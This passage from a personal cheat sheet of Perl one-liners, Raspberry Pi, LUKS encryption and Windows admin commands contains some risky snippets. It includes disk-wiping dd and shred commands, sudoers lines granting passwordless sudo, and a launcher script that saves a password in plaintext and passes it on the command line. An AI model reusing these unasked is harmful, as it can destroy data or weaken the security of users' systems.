    "Title" => "From-2"
  },
  "3" => {
    "ChildPid" => 28845,
    "Count" => 3,
    "Title" => "From-3"
  },
  "4" => {
    "ChildPid" => 28846,
    "Count" => 4,
    "Title" => "From-4"
  },
  "5" => {
    "ChildPid" => 28847,
    "Count" => 5,
    "Title" => "From-5"
  }
}

# Process killing example:
perl -E '$pid = fork; if (!$pid){ say "[$$] child", sleep 1 while 1 } else {  say "[$$] parent"; waitpid $pid, 0; say "[$$] parent end" }'
perl -E '$pid = fork; if (!$pid){ say "[$$] child", sleep 1 while 0; say "start"; system qq(google-chrome --headless --virtual-time-budget=15000 --window-size=200,200 --screenshot=$ENV{HOME}/Downloads/my.png log); say "wait"; sleep 10 } else {  say "...
#
perl -E 'for ( shift ) { say kill 0, $_; sleep 1; say kill -9, $_; sleep 1; say kill 0, $_ }' 3022126


#############################################################
## Perl Functions - getpwnam, getgrent, getgrnam, getgrgid
#############################################################

# UID in scalar context, all fields in list
perl -lE '$a=getpwnam("<USER>"); say $a'
perl -lE 'say for getpwnam("<USER>")'

# Group name entry
perl -lE 'say getgrent'

# Get name
perl -lE 'say for getgrnam("systems")'

# Group ID
perl -lE 'say for getgrgid("systems")'

# Get password file entry for a username (check if they exist)
perl -le 'print for getpwnam "<USER>"'


#############################################################
## Perl Functions - local
#############################################################

# Can use local actually with a lexical/my variable.
perl -Mojo -E 'my %h; { local $h{abc}=1; say r \%h } say r \%h'
perl -Mojo -E 'my %h; sub show { say "show: " . r \%h } { local $h{abc}=1; show() } show()'
show: {
  "abc" => 1
}
show: {}

# Comparing lexical and global (quite similar).
perl -E 'sub show { my ($ref) = @_; say "$ref $$ref" } my $my = 111; our $our = 222; show \$my; show \$our; { my $my = 112; local $our = 223; show \$my; show \$our } show \$my; show \$our'                                SCALAR(0xb4000075870a0168) 111...
SCALAR(0xb4000075870a0198) 222
SCALAR(0xb4000075870a1498) 112
SCALAR(0xb40000758701f678) 223
SCALAR(0xb4000075870a0168) 111
SCALAR(0xb4000075870a0198) 222


#############################################################
## Perl Functions - msgsnd, msgrcv
#############################################################

# Send and receive message from the queue (IPC)
perl -le 'msgsnd 99483684, "123456789", 0'
perl -le 'msgrcv 99483684, $var, 24, 0, 0; print "[$var]"'


#############################################################
## Perl Functions - ord
#############################################################

# Show ascii ordinal values
perl -E "say qq($_ ) . chr for 1..227"
perl -E "say qq($_ = ) . ord for qw/ a A ä ö ü ß /"


#############################################################
## Perl Functions - select
#############################################################

# Show the currently selected file handle.
perl -E 'say select'
main::STDOUT


#############################################################
## Perl Functions - split
#############################################################

# Idiom to collapse whitespace.
perl -E 'say for split " ", "   i have so many spaces   here  "'
i
have
so

cheats.txt  view on Meta::CPAN

#############################################################
## Perl Modules - Template (Toolkit,tt)
#############################################################

# Concatenation operator in template tookkit (tt)
Data.var1 _ Data.var2

# Compare |html and |uri:
perl -MTemplate -E 'my $out; Template->new->process( \("[% id | html %]"), { id => "has & and spaces" }, \$out); say $out'
has &amp; and spaces
#
perl -MTemplate -E 'my $out; Template->new->process( \("[% id | uri %]"), { id => "has & and spaces" }, \$out); say $out'
has%20%26%20and%20spaces


#############################################################
## Perl Modules - Term::Animation
#############################################################

# Using a terminal animation framework
perl -MTerm::Animation -MCurses -E 'use v5.32; my $anim = Term::Animation->new; halfdelay(2); $anim->new_entity(shape => "<=0=>", position => [3,7,10], callback_args => [1,0,0,0], wrap => 1); while(1){ $anim->animate; my $in = getch(); last if $in eq...

# Using a terminal animation framework (with colors)
perl -MTerm::Animation -MCurses -E 'use v5.32; my $anim = Term::Animation->new; halfdelay(1); $anim->color(1); $anim->new_entity(shape => "<=0=>", position => [3,7,10], callback_args => [1,0,0,0], wrap => 1, default_color => "yellow"); while(1){ $ani...


#############################################################
## Perl Modules - Term::ANSIColor
#############################################################

# Proper way to color text in perl instead of hardcoding
# escape codes (which are not all the same on all devices).
perl -MTerm::ANSIColor -E 'say colored ($_,$_) for qw( RED YELLOW GREEN ON_BRIGHT_BLACK )'

# Color an remote color (uncolor).
perl -MTerm::ANSIColor=colored,colorstrip -E 'say length colorstrip(colored("HEY", "YELLOW"))'
3


#############################################################
## Perl Modules - Term::ProgressBar
#############################################################

# Progress bar example 1
perl -Mojo -MTerm::ProgressBar -CO -E "STDOUT->autoflush(1); my $ua = Mojo::UserAgent->new; $ua->on(prepare => sub($ua,$tx){ my($len,$bar); $tx->res->on(progress => sub($res){ return unless $len ||= $res->headers->content_length; my $prog = $res->con...

# Progress Bar example 2
perl -MTerm::ProgressBar -E "$|++; @a=1..100; $bar = Term::ProgressBar->new({count => ~~@a}); $bar->update($_), select undef,undef,undef,0.05 for @a"
GetTerminalSize
# Progress Bar in Perl (more features shown here)
perl -MTerm::ProgressBar -E "$|++; $max=100_000; $progress = Term::ProgressBar->new({count => $max, name => 'File-1', term_width => 50, remove => 1}); $progress->minor(0); my $next_update = 0; for (0..$max){ my $is_power = 0; for (my $i = 0; 2**$i <=...


#############################################################
## Perl Modules - Term::ReadKey
#############################################################

# Get terminal width in perl
perl -MTerm::ReadKey= -E "my ($w) = GetTerminalSize(); say $w"

# Read input from the keyword/user without showing the password
perl -MTerm::ReadKey -le 'ReadMode(2); $pass .= $key while(ord($key = ReadKey(0)) !~ /^(?: 10|13 )$/x); ReadMode(0); print "Got [$pass]"'

# Read input from the keyword/user without showing the password (same, but using keywords)
perl -MTerm::ReadKey -le 'ReadMode(noecho); $pass .= $key while(ord($key = ReadKey(0)) !~ /^(?: 10|13 )$/x); ReadMode(restore); print "Got [$pass]"'
perl -MTerm::ReadKey -e 'ReadMode(2); while($c=ReadKey(0), ord($c) !~ /^(?:10|13)$/x){ $pass .= $c  } ReadMode(0); print "[$pass]\n"'

# Read input from the keyword/user without showing the password (same, but more compact)
perl -MTerm::ReadKey -le 'ReadMode(2); $pass = ReadLine(0); chomp $pass; ReadMode(0); print "Got [$pass]"'
perl -MTerm::ReadKey -le 'ReadMode(2); $_ = ReadLine(0); chomp; ReadMode(0); print "[$_]"'

# Read input from the keyword/user without showing the password (same, but on windows)
perl -MTerm::ReadKey -le "ReadMode 2; $pass = ReadLine 0; chomp $pass; ReadMode 0; print qq([$pass])"

# Read input from the keyword/user without showing the password. replace characters with a star "*"
perl -MTerm::ReadKey -e 'ReadMode(4); while($c=ReadKey(0),$o=ord($c),$o != 10 and $o != 13){ if($o == 127 || $o == 8){chop $p; print "\b \b"}elsif($o < 32){}else{ $p .= $c; print "*" }} ReadMode(0); print "[$p]\n"'
perl -MTerm::ReadKey -e 'ReadMode 3; while($c=ReadKey(0),$o=ord($c),$o != 10 and $o != 13){ if($o == 127 || $o == 8){chop $p; print "\b \b"}elsif($o < 32){}else{ $p .= $c; print "*" }} ReadMode 0; print "[$p]\n"'
perl -MTerm::ReadKey -e 'ReadMode 4; while($c=ReadKey(0),$o=ord($c),$o!=10){ if($o==127 or $o==8){chop $p; print "\b \b"}elsif($o < 32){}else{$p.=$c; print "*"}} ReadMode 0; print "[$p]\n"'


#############################################################
## Perl Modules - Term::ReadLine::Gnu
#############################################################

# Given input, return the possible completion words.
# Like compgen.
compgen -W "cat cake bat bake" -- c
perl -MTerm::ReadLine -E 'my $term = Term::ReadLine->new("my"); my $attribs = $term->Attribs; $attribs->{completion_word} = [qw( cat cake bat bake )]; my @matches = $term->completion_matches( shift//"", $attribs->{list_completion_function} ); $term->...


#############################################################
## Perl Modules - Text::CSV
#############################################################

# Write a csv file (super easy)
perl -MText::CSV_XS=csv -E "csv(in => [[qw/A B C/],[1,2,3]], out => 'my.csv')"

# Read certain lines of a CSV file
perl -l -MText::CSV -e '$csv=Text::CSV->new; open FH, "book1.csv"; while($a=$csv->getline(FH)){print $a->[0]}'

# CSV file into an array (Mike)
perl -l -MText::CSV_XS -e '$csv=Text::CSV_XS->new; open FH, "a.csv"; $a=$csv->getline_all(FH); print $a->[1][3]'


#############################################################
## Perl Modules - Text::ParseWords
#############################################################

# Split a line by a character while honoring quotes
# and backslashes. (perl)
use Text::ParseWords qw/ parse_line /;
parse_line( '/', 1, $string );

# Perl Modules - Text::ParseWords example.
use Text::ParseWords;
my @a = map{
    chomp; 
    [shellwords($_)]
} <DATA>;
p \@a;
__DATA__
ab1c def
abc "d ef"

# Perl Modules - Text::ParseWords example.
sub get_file_data{
	use Text::ParseWords;
	map{chomp; [quotewords('\s+', 1, $_)]} <DATA>;
}


#############################################################
## Perl Modules - Tie::Array
#############################################################

cheats.txt  view on Meta::CPAN


# Compare perl6 speeds (rakudo)
cd <RAKUDO_DIR>
perl6=`ls */perl6`
for p in $perl6 perl; do echo; echo "---------------------------------"; echo "$p"; time $p -e 'print join " ", grep /0/, (1..100)'; done
for p in $perl6 perl; do echo; echo "---------------------------------"; echo "$p"; time $p -e 'print 0.1 + 0.2 == 0.3'; done
echo


#############################################################
## Perlbrew
#############################################################

# Restore original perl environment
# https://stackoverflow.com/questions/25188575/switching-to-the-system-perl-using-perlbrew
perlbrew off           # only for this session (terminal)
perlbrew switch-off    # permanently

# Using the shebang line with perlbrew (-S to pass in args)
#!/usr/bin/env perl
#!/usr/bin/env -S perl -l

# Install with thread support.
perlbrew install perl-5.38.2 --thread

# Install multiple versions with and without thread support.
perlbrew install-multiple 5.38.2 blead --both thread
perlbrew switch perl-5.38.2-thread-multi
perl -V:'use.*thread.*'

# Upgrade current perl version.
perlbrew upgrade-perl

# Upgrade perlbrew
perlbrew self-upgrade
perlbrew version

# Upgrade cpanm
perlbrew install-cpanm

# Cleanup downloaded files.
perlbrew clean


#############################################################
## Performance Testing - General
#############################################################

# Performance Testing   - Ensures the system meets performance criteria like speed and responsiveness.
# Load Testing          - Checks system behavior under expected user load.
# Stress Testing        - Determines the system's breaking point by pushing it beyond normal capacity.
# Scalability Testing   - Assesses how well the system scales with increased workload.
# Spike Testing         - Examines how the system handles sudden spikes in load.
# Volume Testing        - Verifies system performance with varying amounts of data.


#############################################################
## PI - General
#############################################################

# No password when entering sudo commands (Linux,pi,debug)
vi /etc/sudoers
# Add this to bottom
pi 	ALL=(ALL) NOPASSWD:ALL

# No password when entering sudo commands (Linux,pi,debug)
sudo usermod -a -G GROUP_NAME USER
#
# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) NOPASSWD:ALL

# autostart file location (pi)
sudo mount -o remount,rw /
vi /home/pi/.config/lxsession/LXDE-pi/autostart
sudo reboot

# Unable to write to /boot/config.txt (pi)
# Due to read only file system
# May need to mount a couple times (until "mount | grep boot" shows "rw")
sudo mount -o remount,rw /
sudo touch /forcefsck
sudo reboot


#############################################################
## PI - Configuration
#############################################################

# Get name of raspberry pi
cat /sys/firmware/devicetree/base/model
Raspberry Pi 3 Model B Plus Rev 1.3

# Check pi revision
cat /proc/cpuinfo
Code	Model	Revision	RAM	Manufacturer
a020d3	3B+		1.3			1GB	Sony UK
#
# Compare to:
https://www.raspberrypi.org/documentation/hardware/raspberrypi/revision-codes/README.md

# Find out the total on a linux machine (pi)
local ram=$(\grep MemTotal /proc/meminfo | perl -lne '($kb)=/(\d+)/; printf "%0.2fGB", $kb/1024/1024')


#############################################################
## PI - Network Interface
#############################################################

# Turn interface card off and on. (pi)
# Useful in cases where connection needs to be reset.
sudo ifconfig eth0 down && sudo ifconfig eth0 up

# Add a static IP address in Linux (pi,debug,Workarounds)
# Workaround for when DHCP does not work with the firewall
su 								 	# super user mode
mount -o remount,rw /				# mount the filesystem
vi /etc/network/interfaces			# update interfaces
	auto eth0						# Add these lines
	iface eth0 inet static
	        address 172.17.17.10
	        netmask 255.255.255.0
	        gateway 172.17.17.1
/etc/init.d/networking restart 		# restart the service
vi ~/webpage.sh
	#IP=$(dhcpcd --dumplease eth0 | grep routers | cut -d\' -f2)
	IP=172.17.17.1

cheats.txt  view on Meta::CPAN


# Check termux kernel settings.
sudo zcat /proc/config.gz

# Install arm-none-eabi (termux)
git clone git@github.com:poti1/arm-none-eabi.git
cd arm-none-eabi
make

# This variable is set when a new session is created.
# This library intercepts/changes calls to:
# /usr/bin/perl to instead code from the termux folder
echo $LD_PRELOAD
/data/data/com.termux/files/usr/lib/libtermux-exec.so


#############################################################
## Ubuntu - Hard Drive Encryption - Detailed
#############################################################

# Ubuntu hard drive encryption.
# 1. Create the encrypted partition:
sudo cryptsetup luksFormat /dev/sda
#
# Verify header.
sudo cryptsetup luksDump /dev/sda

# Ubuntu hard drive encryption.
# 2. Map the encrypted container:
sudo cryptsetup luksOpen /dev/sda secret-container

# Ubuntu hard drive encryption.
# 2a. Wipe the partition (optional):
sudo shred -vfz /dev/mapper/secret-container

# Ubuntu hard drive encryption.
# 3. Create a filesystem in the mapped container:
sudo mkfs.ext4 /dev/mapper/secret-container

# Ubuntu hard drive encryption.
# SKIP FOR EXTERNAL HARD DRIVES
# 4. Update your /etc/crypttab file (used at system boot):
# Your crypttab should contain a line like
cryptHome     UUID=26a4b17a-aad3-436a-89f4-a68a4c4c371d    none    luks,timeout=30
# with the UUID of the device you just encrypted above
# (i.e. the /dev/sdXX device). You can find it out by using
# e.g. lsblk -f (it should say "crypto_LUKS" under FSTYPE in the output).

# Ubuntu hard drive encryption.
# SKIP FOR EXTERNAL HARD DRIVES
# 5. Update your /etc/fstab file (file system mounting:
# Finally, your fstab should contain a line like
/dev/mapper/cryptHome   /home/srto-backup       ext4    defaults        0       2
#
# to mount the decrypted partition in your filesystem.
# The mapped name (cryptHome) must match the one you
# defined in the crypttab. Replace username by the name of the actual user.
#
# You could also mount it under /home, but then you will have
# all user's home directories in one encrypted drive - that
# means all of them need to know the partition's password to open it on boot.

# Originally thought these were also necessary for an external hard drive.
# Appear to work without the lines.
#
sudo vi /etc/crypttab
# <name>        <device>            <password>      <options>
mnt-usb-crypt   UUID=<device-uuid>  /path/to/key    luks,noauto
#
# Need to run after updating cryptab:
sudo update-initramfs -u -k all
#
sudo vi /etc/fstab
#
# <file system>             <dir>       <type>  <options>                             <dump>    <pass>
/dev/mapper/mnt-usb-crypt   /mnt/usb    btrfs   defaults,noauto,x-systemd.automount   0         2

# Unable to mount the unencrypted harddrive.
# Error mentions mount: wrong fs type, bad option, bad superblock.
#
# See disks:
lsblk
#
# If you can see your drive thats good.
# Run this to see if the system can use it:
sudo fdisk -l
#
# Run this command to attempt to repair bad superblocks on the drive.
sudo xfs_repair /dev/mapper/srto_backup
#
# Mount again after repair is done:
sudo mount /dev/mapper/srto_backup /media/<USER>/SRTO_BACKUP

# Restore corrupted USB drive.
# Warning: could not erase sector 2: Input/output error.
sudo dd if=/dev/zero of=/dev/sdb bs=1M count=40
#
# Disk repair/recovery tool.
sudo apt install testdisk


#############################################################
## Ubuntu - Hard Drive Encryption - Simple
#############################################################

# Ubuntu hard drive encryption. (simple)
#
# Create the encrypted partition:
sudo cryptsetup -c aes-xts-plain -y -s 512 luksFormat /dev/DEVICE
#
# Map the encrypted container:
sudo cryptsetup luksOpen /dev/DEVICE srto_backup
#
# Wipe the partition (optional):
# Only if it has sensitive data already.
sudo shred -vfz /dev/mapper/secret-container
#
# Create a filesystem in the mapped container:
sudo mkfs.ext4 -L MY_BACKUP /dev/mapper/srto_backup
#
# Rename the drive label in gparted (optional)
sudo apt-get install gparted.
# open gparted.
# choose the thumbdrive from the dropdown in the top-right corner.
# unmount the volume (right-click on drive)
# right click and choose "label"
# click on green tick to apply changes.

cheats.txt  view on Meta::CPAN

# Insert the current time
Ctrl + Shift + :

# Drag excel column
Ctrl + r

# Drag excel row
Ctrl + d


#############################################################
## Windows - Filesystem
#############################################################

# /etc/hosts on Windows
C:\Windows\System32\drivers\etc

# Check if a program on Windows is 32 or 64 bit (objdump,stat,file)
Control + Shift + ESC
-> More Details
-> "Details" tab
Right Click
Select Columns
Platform
#
# Another way
"C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.21.27702\bin\Hostx64\x64\dumpbin" /headers hinstall.exe | findstr machine

# Find windows start location folder (autostart scripts)
Windows + R
type:
	shell:startup
    shell:common startup

# Delete a deeply nested folder on Windows
cd bad_dir
mkdir empty
robocopy empty bad_dir /mir 	:: mirror blank directory over nested
rmdir empty bad_dir

# Question:
# What differences are between Authenticated Users, SYSTEM, Administrators
# (ADMIN\Administrators), and Users (ADMIN\Users) (Windows 10)
#
# Answer:
# They are all default users and groups Windows uses to maintain
# permissions, typically for security purposes.
#
# Authenticated Users is a pseudo-group (which is why it exists, but is not
# listed in Users & groups), it includes both Local PC users and Domain users.
#
# SYSTEM is the account used by the operating system to run services,
# utilities, and device drivers. This account has unlimited power and access
# to resources that even Administrators are denied, such as the Registry's SAM.
#
# Administrators can do just about everything a user would want to do with
# Windows, typically this includes the first user you create with windows.
# You are probably a member of this group.
#
# Users are accounts with lower permissions, and typically require an Administrator
# to enter their password to do anything that would bring up a UAC console in
# Windows. You can create accounts with these permissions (I do it for my
# guest account) with the "Add Remove User Accounts" menu in the Control Panel.

# Find out who have a file opened
# Need to have this setup one time (as admin)
openfiles.exe /local on
# restart PC


#############################################################
## Windows - Outlook
#############################################################

# Windows Outlook.
# Monospaced font
Courier New


#############################################################
## Windows - Registry
#############################################################

# Registry file location on windows 10
C:\Users\<USER>\NTUSER.DAT

# Script to update the windows registry
#
@echo off
echo.
cd ..
reg add HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\MY_PATH /t REG_SZ /v AppPath /d %cd% /f
echo.
echo AppPath = %cd%
echo.
pause

# Dump windows 10 registry to a file (query,view,search)
reg export "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\MY_PATH" my.reg
reg export "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\MY_PATH" my.reg /y

# Enable Restore Points in Windows 10
Win + r
Type: regedit
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore
Double - Click "DisableSR"
1	- Disabled
0	- Enabled
#
# Restart PC for changes to take effect.

# Add the "Open command window here" option back to windows 10 commamd prompt (registry,DOS)
# when doing right click.
#
# Go to the regestry
Win + r
type: regedit
#
# For these paths:
Computer\HKEY_CLASSES_ROOT\Directory\shell\cmd
Computer\HKEY_CLASSES_ROOT\Directory\background\shell\cmd

cheats.txt  view on Meta::CPAN

		and click Rename.
	- Change the DWORD name from HideBasedOnVelocityId to ShowBasedOnVelocityId,
		and press Enter.
#
# Hide option (undo the change):
	- rename the DWORD from from ShowBasedOnVelocityId to HideBasedOnVelocityId


#############################################################
## Windows - Variables
#############################################################

# Get windows script directory (DOS,pwd,windows vars)
echo %~dp0

# Start in currect script directory (windows vars)
cd /d %~dp0


#############################################################
## Windows Commands - ipconfig
#############################################################

# Internet not working on Windows
# Disable all adapters, but Ethernet 2.
# Then:
ipconfig /renew
ipconfig /release
# Enable the adapters again.


#############################################################
## Windows Commands - net
#############################################################

# See which folders are being shared on windows 10
net share


#############################################################
## Windows Commands - netstat
#############################################################

# Special Addresses
netstat -ano -p tcp | findstr 8080
# Address 0.0.0.0   allows access by another machine.
# Address 127.0.0.1 allows faking a server by using the loopback adapter.


#############################################################
## Windows Commands - putty
#############################################################

# Launch all benches and watch the date (Putty,xterm)
#
# @REM='
# @echo off
# mode CON: COLS=120 LINES=30
#
# set file=H:/kog.dat
# perl -lE "$f='%file%'; -e $f and exit; print qq(Enter your password: ); chomp($p=<STDIN>); open FH, qq(>$f); print FH $p; system qq(attrib +h $f) "
# set /P pass=< %file%
#
# echo Opening Exceed
# start /B "Exceed" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Open Text Exceed 14 x64\Exceed.lnk"
#
# echo Opening Putty
# perl -x -l -S "%0" "%pass%"
# echo Everything is opened. Close this Window.
# exit /b
# ';
#
#
# #!perl
#
# #-----------------------------------------------------
# # SUBS
# #-----------------------------------------------------
#
# sub make_file {
# 	my ($n,$x,$y) = @_;
# 	my $file = "run$n.txt";
# 	open FH, ">", $file or die $!;
# 	print FH q(echo -e '\e[8;1;30t');		# Size
# 	print FH "echo -e '\\e[3;$x;${y}t'";	# Placement
# 	print FH "/home3/timp/watchdate";
# 	close FH;
# 	$file;
# }
#
# sub make_cmd {
# 	my ($user,$_,$pass,$file) = @_;
# 	my $cmd = qq(start "Putty" "$ENV{PWPROD}\\wnt\\putty\\putty.exe" -X -ssh $user\@lnxbr$_ -pw $pass -m "$file" -t&);
# 	$cmd;
# }
#
#
# my ($pass) = @ARGV;
#
#
# #-----------------------------------------------------
# # new
# #-----------------------------------------------------
# my @benches = grep { not / 40 | 49 /x  } 21..70;
# my $COLS    = 3;
# my $ROWS    = @benches / $COLS;
# my $Xoffset = 300;
# my $x       = $Xoffset;
# my $y       = 0;
# my $height  = 50;
# my $width   = 270;
# my $cnt     = 0;
# my $y2;
# my $user    = "timp";
#
# $ROWS++ if $ROWS > int($ROWS);
#
# for(@benches){
# 	my $file = make_file($_,$x,$y);
# 	my $cmd  = make_cmd($user,$_,$pass,$file);
# 	# print  $cmd;
# 	system $cmd;
#
# 	$y += $height;
# 	$cnt++;
# 	if($cnt >= $ROWS){
# 		$y2 //= ($y + $height);
# 		$x  += $width;
# 		$y   = 0;
# 		$cnt = 0;
# 	}
# }
#
# #-----------------------------------------------------
# # user
# #-----------------------------------------------------
#
# @benches = qw/24 36 42 43/;
# $x = $Xoffset;
# $y = $y2;
# $user = "<USER>";
# for(@benches){
# 	my $file = make_file($_,$x,$y);
# 	my $cmd  = make_cmd($user,$_,$pass,$file);
# 	# print  $cmd;
# 	system $cmd;
# 	$y += $height;
# }
#
#
# #-----------------------------------------------------
# # admin
# #-----------------------------------------------------
#
# @benches = qw/24 36 42 43/;
# $x += $width;
# $y  = $y2;
# $user = "<USER>";
# for(@benches){
# 	my $file = make_file($_,$x,$y);
# 	my $cmd  = make_cmd($user,$_,$pass,$file);
# 	# print  $cmd;
# 	system $cmd;
# 	$y += $height;
# }
#
#
#
# __END__
#


#############################################################
## Windows Commands - sc
#############################################################

# Service commands
::
:: Add new service
sc.exe create MyProgram binPath="C:\Program Files (x86)\Windows Resource Kits\Tools\srvany.exe"
sc config MyProgram start=auto
sc.exe config MyProgram obj= "me@home.com" password= ""
::
:: Remove a service
sc.exe delete MyProgram
::
:: Start a service
sc.exe start MyProgram
::
:: Stop a service
sc.exe stop MyProgram


#############################################################
## Windows Commands - schtasks
#############################################################

# TASK_INSTALL.bat (Scheduler)
# Manually create task.xml in task scheduler, then export
cd /d %~dp0
python.exe task_create_xml.py
schtasks /CREATE /TN MyProgram /XML task.xml /RU %USERNAME% /RP
DEL /F task.xml

# TASK_SHOW.bat (Scheduler)
schtasks /QUERY /TN Statusmonitor /V /FO LIST

# TASK_UNINSTALL.bat (Scheduler)
schtasks /DELETE /TN Statusmonitor /F


#############################################################
## Windows Commands - start
#############################################################

# Start a window minimized
start "TITLE" /D "START_PATH" /MIN PERL MY.PL


#############################################################
## Windows Commands - tasklist
#############################################################

# Kill any process (like notepad). Put this in a .bat file
@perl -e "kill -9, `tasklist`=~/Notepad\S*\s+(\d+)/gi"

# Kill any process. like previous, but can be more descriptive
@tasklist /v /fo list | perl -00ane "kill -9, /PID:\s+(\d+)/ if /Image Name:\s+Notepad/i"


#############################################################
## Windows Commands - taskkill
#############################################################

# Stop a running program
taskkill /F /IM python.exe


#############################################################
## Windows Commands - where
#############################################################



( run in 0.665 second using v1.01-cache-2.11-cpan-8f98c5d2c55 )